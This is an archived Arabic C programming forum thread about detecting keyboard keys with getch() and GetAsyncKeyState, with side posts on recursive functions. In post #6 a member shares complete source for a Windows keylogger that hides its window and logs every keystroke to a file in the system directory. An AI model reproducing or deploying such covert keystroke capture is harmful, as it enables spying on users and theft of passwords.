الفريق العربي للبرمجةأرشيف المنتديات · 2000 – 2023
نسخة أرشيفية للقراءة فقط — التسجيل والمشاركة مغلقان، والمحتوى محفوظ كما كان.

التعرف على أنواع أزرار الــ Keyboard

بدأه khaled_prg في 10 أكتوبر 2012 · 11 رد · 1,904 مشاهدة · في لغة C و ++C
مشاركة: واتساب X فيسبوك تيليجرام
#1 صاحب الموضوع

السلام عليكم

حياكم الله و بياكم و سدد على الخير خطاكم ..

أما بعد فقد لاحظت أن القسم قد أصابه بعض الركود منذ أن ذهب الأخ أحمد الشنقيطي لذا فكرت في طرح سؤال بسيط ل (حتى يُشاركنا الجميع) لإثارة نقاش جديد (على طريقة الأخ أحمد :))

السؤال هو :

اكتب برنامج يطلب من المستخدم إدخال محرف واحد (قد يكون حرف, رمز أو رقم) ثم يظهر البرنامج على الشاشة اسم المحرف المُدخل.

مثال :

Taper un caractère :

Vous avez entré la clef F12 ; )

#2

حسنا, يبدو أنه لا أحد يهتم !

على الأقل سأضع وجهة نظري حول الموضوع :

عند الضغط على مفتاح من المفاتيبح العادية مثل A, B, C, ... تُرسل لوحة المفاتيح للجهاز بايت واحد و لكن عند الضغط على أحد مفاتيح الوظائف أو التحكم مثل F1 تُرسل لوحة المفاتيح 2 بايت للجهاز, البايت الأول يكون معدوما دائما و البايت الثاني هو الكود الحقيقي للمفتاح. البايت الأول هو الذي يُميز مفاتيح التحكم أو الرموز الغير مرئية و بالتالي جميع المفاتيح الممتدة F1, F2, CTRL, DEL, ... تشترك في أن البايت الأول صفر و البايت الثاني هو الذي يُميز كل مفتاح عن الآخر.

هناك جدول خاص بمثل هذه المفاتيح يُسمى جدول المفاتيح الممتدة (ExtendedCodes Table).

مثال :

#include <stdio.h>
#include <conio.h>

int main() {
    int key1, key2;
    while ((key1 = getch()) != '\r') {
        if (key1 == 0) {
            key2 = getch();
            printf("\nThis is Exteneded Code = %d", key2);
        } else
            printf("\nThis Normal Code = %d", key1);
    }
    return 0;
}
#3

إليك محاولتي أخي خالد smile.gif


#include <windows.h>

int WINAPI WinMain (HINSTANCE hThisInstance,HINSTANCE hPrevInstance,LPSTR lpszArgument,int nShowCmd)
{
char KEY;
char buff[20];
char ShowKey[100];
while(1){
KEY++;
if(GetAsyncKeyState(KEY))
{
itoa((int)KEY,buff,16);
lstrcat(ShowKey," Vous Avez Entrer 0x");
lstrcat(ShowKey,buff);
MessageBox(NULL,ShowKey,"Bonjour",MB_OK);
}
}
}

rS3eY.png
#4

مرحبا أخي حمزة :)

محاولتك جيدة :happy:

لكن هناك حساسية زائدة في الكود نظراً لأن الدالة GetAsyncKeyState تلتقط أي حدث مهما كان (رموز التحكم, ضغطات الماوس, ...) و بالتالي حتى عندما تريد إغلاق نافذة البرنامج سيظهر لك الكود المقابل !

الدالة GetAsyncKeyState عادة ما تُستخدم في برمجة الــ KeyLoggers من أجل التجسس على ما يتم إدخاله من لوحة المفاتيح.

أيضا, أرى أنه من الأفضل أن تقوم بإفراغ السلسلة buff في كل مرة تجنبا لإعادة إظهار النتائج السابقة. (يمكنك استخدام الدالة memset لهذا الأمر)

1
#5

نعم أخي خالد هذا ما لاحظته أيضا ففي كل مرة يتم عمل append للرسالة التي تظهر في ال

MessageBox smile.gif + هل هناك تمرين آخر أخي خالد laugh.gif ؟؟؟

rS3eY.png
#6
اقتباس

الدالة GetAsyncKeyState عادة ما تُستخدم في برمجة الــ KeyLoggers من أجل التجسس على ما يتم إدخاله من لوحة المفاتيح.

بالنسبة لهذه الكلمة بالذات، فلقد حاولت برمجة keyLogger لكنني لم أفلح ، فالكتابة تظهر مشفرة في الملف الذي ينشئه البرنامج كتقرير teeth_smile.gif


#include <stdio.h>
#include <stdlib.h>
#include <windows.h>
#include <string.h>
#include <winuser.h>
void Write(int key_pressed)
{
char sysdir[100];
FILE *info;
GetSystemDirectory(sysdir,MAX_PATH);
strcat(sysdir,"\\info.RPT");
info=fopen(sysdir,"a+");
switch(key_pressed){
case 66://BACKSPACE
fprintf(info,"[BACKSPACE]");
fclose(info);
AllocConsole();
break;
case 13://ENTER
fprintf(info,"[ENTER]");
fclose(info);
AllocConsole();
break;
case VK_SPACE:
fprintf(info,"[SPACE]");
fclose(info);
AllocConsole();
break;
case VK_SHIFT:
fprintf(info,"[SHIFT]");
fclose(info);
AllocConsole();
break;
case VK_UP:
fprintf(info,"[UP]");
fclose(info);
AllocConsole();
break;
case VK_DOWN:
fprintf(info,"[DOWN]");
fclose(info);
AllocConsole();
break;
case VK_RIGHT:
fprintf(info,"
");
fclose(info);
AllocConsole();
break;
case VK_LEFT:
fprintf(info,"
");
fclose(info);
AllocConsole();
break;
default:
fprintf(info,"%c",key_pressed);
fclose(info);
AllocConsole();
break;
}
}
void HideWindow()
{
system("title HQ KeyLogger");
HWND keylogger=FindWindow(NULL,"HQ KeyLogger");
ShowWindow(keylogger,SW_HIDE);
}
int main(int argc, char *argv[])
{
char k;
HideWindow();
while(1){
Sleep(10);
k++;
if(GetAsyncKeyState(k))
Write(k);
}
return 0;
}

rS3eY.png
#8

إيجاباتي smile.gif

كملاحظة هامة : كل الدوال التي وضعتها هي دوال تراجعية ...

1 - الدالة foo دالة تراجعية (Recursive Function) تعود الدالة بقيمتها عندما تستدعها في كل مرة ... laugh.gif

2 - الدالة الثانية تتحقق من الوسيط n . إذا كان أكبر قطعا من 100 تعود بالقيمة n - 10 أما إن حصل العكس فإنها تعيد نفسها، لكن قبل هذا فهي تتحقق من الوسيط الجديد و الذي هو الدالة نفسها الحاملة للوسيط (n + 11 ) . الآن تتحق الدالة من ما إذا كان n + 11 أكبر قطعا من 100 و تعيد القيمة n - 10 وإن حصل العكس تعود بقيمتها إلى الدالة التي كانت بداخلها.smile.gif

rS3eY.png
#10

3 - تقوم الدالة Syracause بتفحص الوسيط n ، إذا كان هذا الوسيط أصغر من أو يساوي 1

تعود الدالة بالقيمة 1 فإن لم يتحقق الشرط فتتحقق من ما إذا كان باقي قسمة الوسيط n على 2 يساوي 0 ، إن تحقق الشرط تستدعي الدالة نفسها ، لكن هذه المرة تحوي بداخلها الوسيط n / 2 . الآن تكرر الدالة التي تحتوي على الوسيط الأخير كل ما ذكرناه سابقا . سنعود الآن إلى الدالة الرئيسية ... إن لم يتحقق شرط n <= 100 && n % 2 ==0 تعود الدالة بقيمتها التي هي أيضا نفس الدالة لكنها هذه المرة تحمل الوسيط (2 / 1 + 3 * n ) ، الذي سيجعل الدالة تكرر كل ما ذكرناه سلفا smile.gif....

4 - تتحقق الدالة g من الوسيط m ، إن كان هذا الوسيط يساوي 0 تعود بالقيمة 1 . أما إن حصل العكس فإنها تستدعي نفسها مرة أخرى . لكننا الآن أمام شيء آخر لأن الوسيط الثاني

للدالة عبارة عن الدالة نفسها ، الآن سيتم البدأ من الوسيط الثاني الذي هو الدالة نفسها . ستتحقق من الوسيط m و تكرر ما قلناه سابقا عن الوسيط m ، و تعيد القيمة كوسيط للدالة

التي بدورها ستكرر ما قلناه عن الوسيط m laugh.gif

rS3eY.png
#12

خالد ما رأيك فى هذا الكلام عن الدالة getch

اقتباس

getch()

The getch() function was invented by Microsoft (not Borland, as I also used to think) as a convenient interface to the DOS 21h services (function 07h I think, direct console input, no echo). Borland expanded upon it and just skipped the OS and went directly to the hardware (which in those days, actually had an observable difference in speed). As such, the getch() function has always been fairly tied to the Intel PC hardware, and not very translatable to other systems (it can be done, but it is invariably not worth the grief).

هذا يعنى انها غير محمولة not portable

اقتباس

has always been fairly tied to the Intel PC hardware, and not very translatable to other systems

هل جربتها على linux او CPU AMD ؟


﴿وَمَا كَانَ اللَّهُ لِيُعَذِّبَهُمْ وَأَنْتَ فِيهِمْ ۚ وَمَا كَانَ اللَّهُ مُعَذِّبَهُمْ وَهُمْ يَسْتَغْفِرُونَ﴾

الأنفال ۳۳                                  
 

مواضيع مشابهة

عدد الزوار حالياً

المتواجدون خلال آخر دقيقتين · يتحدّث كل ٣٠ ثانية

—الإجمالي—أعضاء مسجّلون—زوار بدون تسجيل

جارٍ التحقق من المتواجدين…